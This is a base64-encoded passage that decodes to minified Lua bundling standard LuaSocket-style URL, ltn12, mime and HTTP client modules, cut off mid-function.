L10qLyUuJS4vKSIsZnVuY3Rpb24oZSkKaWYgZX49Ii4uLy4uLyJ0aGVuIHJldHVybiIiZWxzZSBy
ZXR1cm4gZSBlbmQKZW5kKQplbmQKdD1lLmdzdWIoYSwiKFteL10qLyUuJS4pJCIsZnVuY3Rpb24o
ZSkKaWYgZX49Ii4uLy4uInRoZW4gcmV0dXJuIiJlbHNlIHJldHVybiBlIGVuZAplbmQpCnJldHVy
biB0CmVuZApmdW5jdGlvbiBwYXJzZShhLGkpCmxvY2FsIHQ9e30KZm9yIGUsYSBpbiBvLnBhaXJz
KGkgb3IgdClkbyB0W2VdPWEgZW5kCmlmIG5vdCBhIG9yIGE9PSIidGhlbiByZXR1cm4gbmlsLCJp
bnZhbGlkIHVybCJlbmQKYT1lLmdzdWIoYSwiIyguKikkIixmdW5jdGlvbihlKQp0LmZyYWdtZW50
PWUKcmV0dXJuIiIKZW5kKQphPWUuZ3N1YihhLCJeKFsld11bJXclKyUtJS5dKiklOiIsCmZ1bmN0
aW9uKGUpdC5zY2hlbWU9ZTtyZXR1cm4iImVuZCkKYT1lLmdzdWIoYSwiXi8vKFteL10qKSIsZnVu
Y3Rpb24oZSkKdC5hdXRob3JpdHk9ZQpyZXR1cm4iIgplbmQpCmE9ZS5nc3ViKGEsIiU/KC4qKSIs
ZnVuY3Rpb24oZSkKdC5xdWVyeT1lCnJldHVybiIiCmVuZCkKYT1lLmdzdWIoYSwiJTsoLiopIixm
dW5jdGlvbihlKQp0LnBhcmFtcz1lCnJldHVybiIiCmVuZCkKaWYgYX49IiJ0aGVuIHQucGF0aD1h
IGVuZApsb2NhbCBhPXQuYXV0aG9yaXR5CmlmIG5vdCBhIHRoZW4gcmV0dXJuIHQgZW5kCmE9ZS5n
c3ViKGEsIl4oW15AXSopQCIsCmZ1bmN0aW9uKGUpdC51c2VyaW5mbz1lO3JldHVybiIiZW5kKQph
PWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucG9ydD1lO3JldHVybiIiZW5kKQpp
ZiBhfj0iInRoZW4gdC5ob3N0PWEgZW5kCmxvY2FsIGE9dC51c2VyaW5mbwppZiBub3QgYSB0aGVu
IHJldHVybiB0IGVuZAphPWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucGFzc3dv
cmQ9ZTtyZXR1cm4iImVuZCkKdC51c2VyPWEKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkKGUp
CmxvY2FsIHQ9cGFyc2VfcGF0aChlLnBhdGggb3IiIikKbG9jYWwgdD1idWlsZF9wYXRoKHQpCmlm
IGUucGFyYW1zIHRoZW4gdD10Li4iOyIuLmUucGFyYW1zIGVuZAppZiBlLnF1ZXJ5IHRoZW4gdD10
Li4iPyIuLmUucXVlcnkgZW5kCmxvY2FsIGE9ZS5hdXRob3JpdHkKaWYgZS5ob3N0IHRoZW4KYT1l
Lmhvc3QKaWYgZS5wb3J0IHRoZW4gYT1hLi4iOiIuLmUucG9ydCBlbmQKbG9jYWwgdD1lLnVzZXJp
bmZvCmlmIGUudXNlciB0aGVuCnQ9ZS51c2VyCmlmIGUucGFzc3dvcmQgdGhlbgp0PXQuLiI6Ii4u
ZS5wYXNzd29yZAplbmQKZW5kCmlmIHQgdGhlbiBhPXQuLiJAIi4uYSBlbmQKZW5kCmlmIGEgdGhl
biB0PSIvLyIuLmEuLnQgZW5kCmlmIGUuc2NoZW1lIHRoZW4gdD1lLnNjaGVtZS4uIjoiLi50IGVu
ZAppZiBlLmZyYWdtZW50IHRoZW4gdD10Li4iIyIuLmUuZnJhZ21lbnQgZW5kCnJldHVybiB0CmVu
ZApmdW5jdGlvbiBhYnNvbHV0ZSh0LGEpCmlmIG8udHlwZSh0KT09InRhYmxlInRoZW4KYmFzZV9w
YXJzZWQ9dAp0PWJ1aWxkKGJhc2VfcGFyc2VkKQplbHNlCmJhc2VfcGFyc2VkPXBhcnNlKHQpCmVu
ZApsb2NhbCBlPXBhcnNlKGEpCmlmIG5vdCBiYXNlX3BhcnNlZCB0aGVuIHJldHVybiBhCmVsc2Vp
ZiBub3QgZSB0aGVuIHJldHVybiB0CmVsc2VpZiBlLnNjaGVtZSB0aGVuIHJldHVybiBhCmVsc2UK
ZS5zY2hlbWU9YmFzZV9wYXJzZWQuc2NoZW1lCmlmIG5vdCBlLmF1dGhvcml0eSB0aGVuCmUuYXV0
aG9yaXR5PWJhc2VfcGFyc2VkLmF1dGhvcml0eQppZiBub3QgZS5wYXRoIHRoZW4KZS5wYXRoPWJh
c2VfcGFyc2VkLnBhdGgKaWYgbm90IGUucGFyYW1zIHRoZW4KZS5wYXJhbXM9YmFzZV9wYXJzZWQu
cGFyYW1zCmlmIG5vdCBlLnF1ZXJ5IHRoZW4KZS5xdWVyeT1iYXNlX3BhcnNlZC5xdWVyeQplbmQK
ZW5kCmVsc2UKZS5wYXRoPXMoYmFzZV9wYXJzZWQucGF0aCBvciIiLAplLnBhdGgpCmVuZAplbmQK
cmV0dXJuIGJ1aWxkKGUpCmVuZAplbmQKZnVuY3Rpb24gcGFyc2VfcGF0aChhKQpsb2NhbCB0PXt9
CmE9YSBvciIiCmUuZ3N1YihhLCIoW14vXSspIixmdW5jdGlvbihlKWkuaW5zZXJ0KHQsZSllbmQp
CmZvciBlPTEsaS5nZXRuKHQpZG8KdFtlXT11bmVzY2FwZSh0W2VdKQplbmQKaWYgZS5zdWIoYSwx
LDEpPT0iLyJ0aGVuIHQuaXNfYWJzb2x1dGU9MSBlbmQKaWYgZS5zdWIoYSwtMSwtMSk9PSIvInRo
ZW4gdC5pc19kaXJlY3Rvcnk9MSBlbmQKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkX3BhdGgo
dCxvKQpsb2NhbCBlPSIiCmxvY2FsIGE9aS5nZXRuKHQpCmlmIG8gdGhlbgpmb3IgYT0xLGEtMSBk
bwplPWUuLnRbYV0KZT1lLi4iLyIKZW5kCmlmIGE+MCB0aGVuCmU9ZS4udFthXQppZiB0LmlzX2Rp
cmVjdG9yeSB0aGVuIGU9ZS4uIi8iZW5kCmVuZAplbHNlCmZvciBhPTEsYS0xIGRvCmU9ZS4ubih0
W2FdKQplPWUuLiIvIgplbmQKaWYgYT4wIHRoZW4KZT1lLi5uKHRbYV0pCmlmIHQuaXNfZGlyZWN0
b3J5IHRoZW4gZT1lLi4iLyJlbmQKZW5kCmVuZAppZiB0LmlzX2Fic29sdXRlIHRoZW4gZT0iLyIu
LmUgZW5kCnJldHVybiBlCmVuZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbHRuMTInXT0oZnVuY3Rp
b24oLi4uKQpsb2NhbCBzPXJlcXVpcmUoInN0cmluZyIpCmxvY2FsIG89cmVxdWlyZSgidGFibGUi
KQpsb2NhbCBlPV9HCm1vZHVsZSgibHRuMTIiKQpmaWx0ZXI9e30Kc291cmNlPXt9CnNpbms9e30K
cHVtcD17fQpCTE9DS1NJWkU9MjA0OApfVkVSU0lPTj0iTFROMTIgMS4wLjEiCmZ1bmN0aW9uIGZp
bHRlci5jeWNsZShhLHQsbykKZS5hc3NlcnQoYSkKcmV0dXJuIGZ1bmN0aW9uKGkpCmxvY2FsIGUK
ZSx0PWEodCxpLG8pCnJldHVybiBlCmVuZAplbmQKZnVuY3Rpb24gZmlsdGVyLmNoYWluKC4uLikK
bG9jYWwgbj1vLmdldG4oYXJnKQpsb2NhbCBvLGE9MSwxCmxvY2FsIGk9IiIKcmV0dXJuIGZ1bmN0
aW9uKHQpCmk9dCBhbmQgaQp3aGlsZSB0cnVlIGRvCmlmIGE9PW8gdGhlbgp0PWFyZ1thXSh0KQpp
ZiB0PT0iIm9yIG89PW4gdGhlbiByZXR1cm4gdAplbHNlaWYgdCB0aGVuIGE9YSsxCmVsc2UKbz1v
KzEKYT1vCmVuZAplbHNlCnQ9YXJnW2FdKHQgb3IiIikKaWYgdD09IiJ0aGVuCmE9YS0xCnQ9aQpl
bHNlaWYgdCB0aGVuCmlmIGE9PW4gdGhlbiByZXR1cm4gdAplbHNlIGE9YSsxIGVuZAplbHNlIGUu
ZXJyb3IoImZpbHRlciByZXR1cm5lZCBpbmFwcHJvcHJpYXRlIG5pbCIpZW5kCmVuZAplbmQKZW5k
CmVuZApsb2NhbCBmdW5jdGlvbiB0KCkKcmV0dXJuIG5pbAplbmQKZnVuY3Rpb24gc291cmNlLmVt
cHR5KCkKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5lcnJvcihlKQpyZXR1cm4gZnVuY3Rp
b24oKQpyZXR1cm4gbmlsLGUKZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UuZmlsZShlLGEpCmlmIGUg
dGhlbgpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCB0PWU6cmVhZChCTE9DS1NJWkUpCmlmIG5vdCB0
IHRoZW4gZTpjbG9zZSgpZW5kCnJldHVybiB0CmVuZAplbHNlIHJldHVybiBzb3VyY2UuZXJyb3Io
YSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5zaW1wbGlm
eSh0KQplLmFzc2VydCh0KQpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCBlLGE9dCgpCnQ9YSBvciB0
CmlmIG5vdCBlIHRoZW4gcmV0dXJuIG5pbCxhCmVsc2UgcmV0dXJuIGUgZW5kCmVuZAplbmQKZnVu
Y3Rpb24gc291cmNlLnN0cmluZyh0KQppZiB0IHRoZW4KbG9jYWwgZT0xCnJldHVybiBmdW5jdGlv
bigpCmxvY2FsIHQ9cy5zdWIodCxlLGUrQkxPQ0tTSVpFLTEpCmU9ZStCTE9DS1NJWkUKaWYgdH49
IiJ0aGVuIHJldHVybiB0CmVsc2UgcmV0dXJuIG5pbCBlbmQKZW5kCmVsc2UgcmV0dXJuIHNvdXJj
ZS5lbXB0eSgpZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UucmV3aW5kKGEpCmUuYXNzZXJ0KGEpCmxv
Y2FsIHQ9e30KcmV0dXJuIGZ1bmN0aW9uKGUpCmlmIG5vdCBlIHRoZW4KZT1vLnJlbW92ZSh0KQpp
ZiBub3QgZSB0aGVuIHJldHVybiBhKCkKZWxzZSByZXR1cm4gZSBlbmQKZWxzZQpvLmluc2VydCh0
LGUpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5jaGFpbihzLG4pCmUuYXNzZXJ0KHMgYW5k
IG4pCmxvY2FsIGEsdD0iIiwiIgpsb2NhbCBpPSJmZWVkaW5nIgpsb2NhbCBvCnJldHVybiBmdW5j
dGlvbigpCmlmIG5vdCB0IHRoZW4KZS5lcnJvcignc291cmNlIGlzIGVtcHR5IScsMikKZW5kCndo
aWxlIHRydWUgZG8KaWYgaT09ImZlZWRpbmcidGhlbgphLG89cygpCmlmIG8gdGhlbiByZXR1cm4g
bmlsLG8gZW5kCnQ9bihhKQppZiBub3QgdCB0aGVuCmlmIGEgdGhlbgplLmVycm9yKCdmaWx0ZXIg
cmV0dXJuZWQgaW5hcHByb3ByaWF0ZSBuaWwnKQplbHNlCnJldHVybiBuaWwKZW5kCmVsc2VpZiB0
fj0iInRoZW4KaT0iZWF0aW5nIgppZiBhIHRoZW4gYT0iImVuZApyZXR1cm4gdAplbmQKZWxzZQp0
PW4oYSkKaWYgdD09IiJ0aGVuCmlmIGE9PSIidGhlbgppPSJmZWVkaW5nIgplbHNlCmUuZXJyb3Io
J2ZpbHRlciByZXR1cm5lZCAiIicpCmVuZAplbHNlaWYgbm90IHQgdGhlbgppZiBhIHRoZW4KZS5l
cnJvcignZmlsdGVyIHJldHVybmVkIGluYXBwcm9wcmlhdGUgbmlsJykKZWxzZQpyZXR1cm4gbmls
CmVuZAplbHNlCnJldHVybiB0CmVuZAplbmQKZW5kCmVuZAplbmQKZnVuY3Rpb24gc291cmNlLmNh
dCguLi4pCmxvY2FsIGU9by5yZW1vdmUoYXJnLDEpCnJldHVybiBmdW5jdGlvbigpCndoaWxlIGUg
ZG8KbG9jYWwgdCxhPWUoKQppZiB0IHRoZW4gcmV0dXJuIHQgZW5kCmlmIGEgdGhlbiByZXR1cm4g
bmlsLGEgZW5kCmU9by5yZW1vdmUoYXJnLDEpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNpbmsudGFi
bGUoZSkKZT1lIG9ye30KbG9jYWwgdD1mdW5jdGlvbih0LGEpCmlmIHQgdGhlbiBvLmluc2VydChl
LHQpZW5kCnJldHVybiAxCmVuZApyZXR1cm4gdCxlCmVuZApmdW5jdGlvbiBzaW5rLnNpbXBsaWZ5
KHQpCmUuYXNzZXJ0KHQpCnJldHVybiBmdW5jdGlvbihlLGEpCmxvY2FsIGEsZT10KGUsYSkKaWYg
bm90IGEgdGhlbiByZXR1cm4gbmlsLGUgZW5kCnQ9ZSBvciB0CnJldHVybiAxCmVuZAplbmQKZnVu
Y3Rpb24gc2luay5maWxlKGUsYSkKaWYgZSB0aGVuCnJldHVybiBmdW5jdGlvbih0LGEpCmlmIG5v
dCB0IHRoZW4KZTpjbG9zZSgpCnJldHVybiAxCmVsc2UgcmV0dXJuIGU6d3JpdGUodCllbmQKZW5k
CmVsc2UgcmV0dXJuIHNpbmsuZXJyb3IoYSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5k
CmxvY2FsIGZ1bmN0aW9uIHQoKQpyZXR1cm4gMQplbmQKZnVuY3Rpb24gc2luay5udWxsKCkKcmV0
dXJuIHQKZW5kCmZ1bmN0aW9uIHNpbmsuZXJyb3IoZSkKcmV0dXJuIGZ1bmN0aW9uKCkKcmV0dXJu
IG5pbCxlCmVuZAplbmQKZnVuY3Rpb24gc2luay5jaGFpbihhLG8pCmUuYXNzZXJ0KGEgYW5kIG8p
CnJldHVybiBmdW5jdGlvbih0LGkpCmlmIHR+PSIidGhlbgpsb2NhbCBlPWEodCkKbG9jYWwgdD10
IGFuZCIiCndoaWxlIHRydWUgZG8KbG9jYWwgaSxvPW8oZSxpKQppZiBub3QgaSB0aGVuIHJldHVy
biBuaWwsbyBlbmQKaWYgZT09dCB0aGVuIHJldHVybiAxIGVuZAplPWEodCkKZW5kCmVsc2UgcmV0
dXJuIDEgZW5kCmVuZAplbmQKZnVuY3Rpb24gcHVtcC5zdGVwKGUsYSkKbG9jYWwgdCxlPWUoKQps
b2NhbCBvLGE9YSh0LGUpCmlmIHQgYW5kIG8gdGhlbiByZXR1cm4gMQplbHNlIHJldHVybiBuaWws
ZSBvciBhIGVuZAplbmQKZnVuY3Rpb24gcHVtcC5hbGwobyxhLHQpCmUuYXNzZXJ0KG8gYW5kIGEp
CnQ9dCBvciBwdW1wLnN0ZXAKd2hpbGUgdHJ1ZSBkbwpsb2NhbCB0LGU9dChvLGEpCmlmIG5vdCB0
IHRoZW4KaWYgZSB0aGVuIHJldHVybiBuaWwsZQplbHNlIHJldHVybiAxIGVuZAplbmQKZW5kCmVu
ZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbWltZSddPShmdW5jdGlvbiguLi4pCmxvY2FsIG89X0cK
bG9jYWwgZT1yZXF1aXJlKCJsdG4xMiIpCmxvY2FsIHQ9cmVxdWlyZSgibWltZS5jb3JlIikKbG9j
YWwgdD1yZXF1aXJlKCJpbyIpCmxvY2FsIG49cmVxdWlyZSgic3RyaW5nIikKbW9kdWxlKCJtaW1l
IikKZW5jb2RldD17fQpkZWNvZGV0PXt9CndyYXB0PXt9CmxvY2FsIGZ1bmN0aW9uIGEoYSkKcmV0
dXJuIGZ1bmN0aW9uKGUsdCxpKQppZiBvLnR5cGUoZSl+PSJzdHJpbmcidGhlbgplLHQsaT0iZGVm
YXVsdCIsZSx0CmVuZApsb2NhbCBhPWFbZSBvciJuaWwiXQppZiBub3QgYSB0aGVuCm8uZXJyb3Io
InVua25vd24ga2V5ICgiLi5vLnRvc3RyaW5nKGUpLi4iKSIsMykKZWxzZSByZXR1cm4gYSh0LGkp
ZW5kCmVuZAplbmQKZW5jb2RldFsnYmFzZTY0J109ZnVuY3Rpb24oKQpyZXR1cm4gZS5maWx0ZXIu
Y3ljbGUoYjY0LCIiKQplbmQKZW5jb2RldFsncXVvdGVkLXByaW50YWJsZSddPWZ1bmN0aW9uKHQp
CnJldHVybiBlLmZpbHRlci5jeWNsZShxcCwiIiwKKHQ9PSJiaW5hcnkiKWFuZCI9MEQ9MEEib3Ii
XHJcbiIpCmVuZApkZWNvZGV0WydiYXNlNjQnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5j
eWNsZSh1bmI2NCwiIikKZW5kCmRlY29kZXRbJ3F1b3RlZC1wcmludGFibGUnXT1mdW5jdGlvbigp
CnJldHVybiBlLmZpbHRlci5jeWNsZSh1bnFwLCIiKQplbmQKbG9jYWwgZnVuY3Rpb24gdChlKQpp
ZiBlIHRoZW4KaWYgZT09IiJ0aGVuIHJldHVybiInJyIKZWxzZSByZXR1cm4gbi5sZW4oZSllbmQK
ZWxzZSByZXR1cm4ibmlsImVuZAplbmQKd3JhcHRbJ3RleHQnXT1mdW5jdGlvbih0KQp0PXQgb3Ig
NzYKcmV0dXJuIGUuZmlsdGVyLmN5Y2xlKHdycCx0LHQpCmVuZAp3cmFwdFsnYmFzZTY0J109d3Jh
cHRbJ3RleHQnXQp3cmFwdFsnZGVmYXVsdCddPXdyYXB0Wyd0ZXh0J10Kd3JhcHRbJ3F1b3RlZC1w
cmludGFibGUnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5jeWNsZShxcHdycCw3Niw3NikK
ZW5kCmVuY29kZT1hKGVuY29kZXQpCmRlY29kZT1hKGRlY29kZXQpCndyYXA9YSh3cmFwdCkKZnVu
Y3Rpb24gbm9ybWFsaXplKHQpCnJldHVybiBlLmZpbHRlci5jeWNsZShlb2wsMCx0KQplbmQKZnVu
Y3Rpb24gc3R1ZmYoKQpyZXR1cm4gZS5maWx0ZXIuY3ljbGUoZG90LDIpCmVuZAplbmQpCnBhY2th
Z2UucHJlbG9hZFsnc29ja2V0Lmh0dHAnXT0oZnVuY3Rpb24oLi4uKQpsb2NhbCB0PXJlcXVpcmUo
InNvY2tldCIpCmxvY2FsIGg9cmVxdWlyZSgic29ja2V0LnVybCIpCmxvY2FsIGk9cmVxdWlyZSgi
bHRuMTIiKQpsb2NhbCBsPXJlcXVpcmUoIm1pbWUiKQpsb2NhbCBvPXJlcXVpcmUoInN0cmluZyIp
CmxvY2FsIGE9X0cKbG9jYWwgZD1yZXF1aXJlKCJ0YWJsZSIpCm1vZHVsZSgic29ja2V0Lmh0dHAi
KQpUSU1FT1VUPTYwClBPUlQ9ODAKVVNFUkFHRU5UPXQuX1ZFUlNJT04KbG9jYWwgZnVuY3Rpb24g
cihoLGkpCmxvY2FsIG4sYSxzLGUKaT1pIG9ye30KbixlPWg6cmVjZWl2ZSgpCmlmIGUgdGhlbiBy
ZXR1cm4gbmlsLGUgZW5kCndoaWxlIG5+PSIiZG8KYSxzPXQuc2tpcCgyLG8uZmluZChuLCJeKC4t
KTolcyooLiopIikpCmlmIG5vdChhIGFuZCBzKXRoZW4gcmV0dXJuIG5pbCwibWFsZm9ybWVkIHJl
cG9uc2UgaGVhZGVycyJlbmQKYT1vLmxvd2VyKGEpCm4sZT1oOnJlY2VpdmUoKQppZiBlIHRoZW4g
cmV0dXJuIG5pbCxlIGVuZAp3aGlsZSBvLmZpbmQobiwiXiVzIilkbwpzPXMuLm4Kbj1oOnJlY2Vp
dmUoKQppZiBlIHRoZW4gcmV0dXJuIG5pbCxlIGVuZAplbmQKaWYgaVthXXRoZW4gaVthXT1pW2Fd
Li4iLCAiLi5zCmVsc2UgaVthXT1zIGVuZAplbmQKcmV0dXJuIGkKZW5kCnQuc291cmNldFsiaHR0
cC1jaHVua2VkIl09ZnVuY3Rpb24oZSxpKQpyZXR1cm4gYS5zZXRtZXRhdGFibGUoewpnZXRmZD1m
dW5jdGlvbigpcmV0dXJuIGU6Z2V0ZmQoKWVuZCwKZGlydHk9ZnVuY3Rpb24oKXJldHVybiBlOmRp
cnR5KCllbmQKfSx7Cl9fY2FsbD1mdW5jdGlvbigpCmxvY2FsIG4sdD1lOnJlY2VpdmUoKQppZiB0
IHRoZW4gcmV0dXJuIG5pbCx0IGVuZApsb2NhbCBhPWEudG9udW1iZXIoby5nc3ViKG4sIjsuKiIs
IiIpLDE2KQppZiBub3QgYSB0aGVuIHJldHVybiBuaWwsImludmFsaWQgY2h1bmsgc2l6ZSJlbmQK
aWYgYT4wIHRoZW4KbG9jYWwgdCxhLG89ZTpyZWNlaXZlKGEpCmlmIHQgdGhlbiBlOnJlY2VpdmUo
KWVuZApyZXR1cm4gdCxhCmVsc2UKaSx0PXIoZSxpKQppZiBub3QgaSB0aGVuIHJldHVybiBuaWws
dCBlbmQKZW5kCmVuZAp9KQplbmQKdC5zaW5rdFsiaHR0cC1jaHVua2VkIl09ZnVuY3Rpb24oZSkK
cmV0dXJuIGEuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBlOmdldGZkKCll
bmQsCmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gZTpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rp
b24oYSx0LGEpCmlmIG5vdCB0IHRoZW4gcmV0dXJuIGU6c2VuZCgiMFxyXG5cclxuIillbmQKbG9j
YWwgYT1vLmZvcm1hdCgiJVhcclxuIixvLmxlbih0KSkKcmV0dXJuIGU6c2VuZChhLi50Li4iXHJc
biIpCmVuZAp9KQplbmQKbG9jYWwgZT17X19pbmRleD17fX0KZnVuY3Rpb24gb3BlbihpLG4sbykK
bG9jYWwgbz10LnRyeSgobyBvciB0LnRjcCkoKSkKbG9jYWwgZT1hLnNldG1ldGF0YWJsZSh7Yz1v
fSxlKQplLnRyeT10Lm5ld3RyeShmdW5jdGlvbigpZTpjbG9zZSgpZW5kKQplLnRyeShvOnNldHRp
bWVvdXQoVElNRU9VVCkpCmUudHJ5KG86Y29ubmVjdChpLG4gb3IgUE9SVCkpCnJldHVybiBlCmVu
ZApmdW5jdGlvbiBlLl9faW5kZXg6c2VuZHJlcXVlc3RsaW5lKGUsdCkKbG9jYWwgZT1vLmZvcm1h
dCgiJXMgJXMgSFRUUC8xLjFcclxuIixlIG9yIkdFVCIsdCkKcmV0dXJuIHNlbGYudHJ5KHNlbGYu
YzpzZW5kKGUpKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnNlbmRoZWFkZXJzKHQpCmxvY2FsIGU9
IlxyXG4iCmZvciB0LGEgaW4gYS5wYWlycyh0KWRvCmU9dC4uIjogIi4uYS4uIlxyXG4iLi5lCmVu
ZApzZWxmLnRyeShzZWxmLmM6c2VuZChlKSkKcmV0dXJuIDEKZW5kCmZ1bmN0aW9uIGUuX19pbmRl
eDpzZW5kYm9keShuLGUsYSkKZT1lIG9yIGkuc291cmNlLmVtcHR5KCkKYT1hIG9yIGkucHVtcC5z
dGVwCmxvY2FsIG89Imh0dHAtY2h1bmtlZCIKaWYgblsiY29udGVudC1sZW5ndGgiXXRoZW4gbz0i
a2VlcC1vcGVuImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbChlLHQuc2luayhvLHNlbGYu
YyksYSkpCmVuZApmdW5jdGlvbiBlLl9faW5kZXg6cmVjZWl2ZXN0YXR1c2xpbmUoKQpsb2NhbCBl
PXNlbGYudHJ5KHNlbGYuYzpyZWNlaXZlKDUpKQppZiBlfj0iSFRUUC8idGhlbiByZXR1cm4gbmls
LGUgZW5kCmU9c2VsZi50cnkoc2VsZi5jOnJlY2VpdmUoIipsIixlKSkKbG9jYWwgdD10LnNraXAo
MixvLmZpbmQoZSwiSFRUUC8lZColLiVkKiAoJWQlZCVkKSIpKQpyZXR1cm4gc2VsZi50cnkoYS50
b251bWJlcih0KSxlKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnJlY2VpdmVoZWFkZXJzKCkKcmV0
dXJuIHNlbGYudHJ5KHIoc2VsZi5jKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlYm9k
eShuLHMsZSkKcz1zIG9yIGkuc2luay5udWxsKCkKZT1lIG9yIGkucHVtcC5zdGVwCmxvY2FsIHI9
YS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKQpsb2NhbCBoPW5bInRyYW5zZmVyLWVuY29k
aW5nIl0KbG9jYWwgbz0iZGVmYXVsdCIKaWYgaCBhbmQgaH49ImlkZW50aXR5InRoZW4gbz0iaHR0
cC1jaHVua2VkIgplbHNlaWYgYS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKXRoZW4gbz0i
YnktbGVuZ3RoImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbCh0LnNvdXJjZShvLHNlbGYu
YyxyKSwKcyxlKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlMDlib2R5KG4sbyxhKQps
b2NhbCBlPWkuc291cmNlLnJld2luZCh0LnNvdXJjZSgidW50aWwtY2xvc2VkIixzZWxmLmMpKQpl
KG4pCnJldHVybiBzZWxmLnRyeShpLnB1bXAuYWxsKGUsbyxhKSkKZW5kCmZ1bmN0aW9uIGUuX19p
bmRleDpjbG9zZSgpCnJldHVybiBzZWxmLmM6Y2xvc2UoKQplbmQKbG9jYWwgZnVuY3Rpb24gbihl
KQpsb2NhbCBhPWUKaWYgbm90IGUucHJveHkgYW5kIG5vdCBQUk9YWSB0aGVuCmE9ewpwYXRoPXQu
dHJ5KGUucGF0aCwiaW52YWxpZCBwYXRoICduaWwnIiksCnBhcmFtcz1lLnBhcmFtcywKcXVlcnk9
ZS5xdWVyeSwKZnJhZ21lbnQ9ZS5mcmFnbWVudAp9CmVuZApyZXR1cm4gaC5idWlsZChhKQplbmQK
bG9jYWwgZnVuY3Rpb24gcyh0KQpsb2NhbCBlPXQucHJveHkgb3IgUFJPWFkKaWYgZSB0aGVuCmU9
aC5wYXJzZShlKQpyZXR1cm4gZS5ob3N0LGUucG9ydCBvciAzMTI4CmVsc2UKcmV0dXJuIHQuaG9z
dCx0LnBvcnQKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiByKGUpCmxvY2FsIHQ9ewpbInVzZXItYWdl
bnQiXT1VU0VSQUdFTlQsClsiaG9zdCJdPWUuaG9zdCwKWyJjb25uZWN0aW9uIl09ImNsb3NlLCBU
RSIsClsidGUiXT0idHJhaWxlcnMiCn0KaWYgZS51c2VyIGFuZCBlLnBhc3N3b3JkIHRoZW4KdFsi
YXV0aG9yaXphdGlvbiJdPQoiQmFzaWMgIi4uKGwuYjY0KGUudXNlci4uIjoiLi5lLnBhc3N3b3Jk
KSkKZW5kCmZvciBhLGUgaW4gYS5wYWlycyhlLmhlYWRlcnMgb3IgdClkbwp0W28ubG93ZXIoYSld
PWUKZW5kCnJldHVybiB0CmVuZApsb2NhbCBlPXsKaG9zdD0iIiwKcG9ydD1QT1JULApwYXRoPSIv
IiwKc2NoZW1lPSJodHRwIgp9CmxvY2FsIGZ1bmN0aW9uIHUobykKbG9jYWwgZT1vLnVybCBhbmQg
aC5wYXJzZShvLnVybCxlKW9ye30KZm9yIHQsYSBpbiBhLnBhaXJzKG8pZG8gZVt0XT1hIGVuZApp
ZiBlLnBvcnQ9PSIidGhlbiBlLnBvcnQ9ODAgZW5kCnQudHJ5KGUuaG9zdCBhbmQgZS5ob3N0fj0i
IiwKImludmFsaWQgaG9zdCAnIi4uYS50b3N0cmluZyhlLmhvc3QpLi4iJyIpCmUudXJpPW8udXJp
IG9yIG4oZSkKZS5ob3N0LGUucG9ydD1zKGUpCmUuaGVhZGVycz1yKGUpCnJldHVybiBlCmVuZAps
b2NhbCBmdW5jdGlvbiBsKGUsYSx0KQpyZXR1cm4gdC5sb2NhdGlvbiBhbmQKby5nc3ViKHQubG9j
YXRpb24sIiVzIiwiIil+PSIiYW5kCihlLnJlZGlyZWN0fj1mYWxzZSlhbmQKKGE9PTMwMSBvciBh
PT0zMDIpYW5kCihub3QgZS5tZXRob2Qgb3IgZS5tZXRob2Q9PSJHRVQib3IgZS5tZXRob2Q9PSJI
RUFEIikKYW5kKG5vdCBlLm5yZWRpcmVjdHMgb3IgZS5ucmVkaXJlY3RzPDUpCmVuZApsb2NhbCBm
dW5jdGlvbiByKHQsZSkKaWYgdC5tZXRob2Q9PSJIRUFEInRoZW4gcmV0dXJuIG5pbCBlbmQKaWYg
ZT09MjA0IG9yIGU9PTMwNCB0aGVuIHJldHVybiBuaWwgZW5kCmlmIGU+PTEwMCBhbmQgZTwyMDAg
dGhlbiByZXR1cm4gbmlsIGVuZApyZXR1cm4gMQplbmQKbG9jYWwgbixzCmZ1bmN0aW9uIHMoZSx0
KQpsb2NhbCBpLGEsZSxvPW57CnVybD1oLmFic29sdXRlKGUudXJsLHQpLApzb3VyY2U9ZS5zb3Vy
Y2UsCnNpbms9ZS5zaW5rLApoZWFkZXJzPWUuaGVhZGVycywKcHJveHk9ZS5wcm94eSwKbnJlZGly
ZWN0cz0oZS5ucmVkaXJlY3RzIG9yIDApKzEsCmNyZWF0ZT1lLmNyZWF0ZQp9CmU9ZSBvcnt9CmUu
bG9jYXRpb249ZS5sb2NhdGlvbiBvciB0CnJldHVybiBpLGEsZSxvCmVuZApmdW5jdGlvbiBuKG4p
CmxvY2FsIGU9dShuKQpsb2NhbCB0PW9wZW4oZS5ob3N0LGUucG9ydCxlLmNyZWF0ZSkKdDpzZW5k
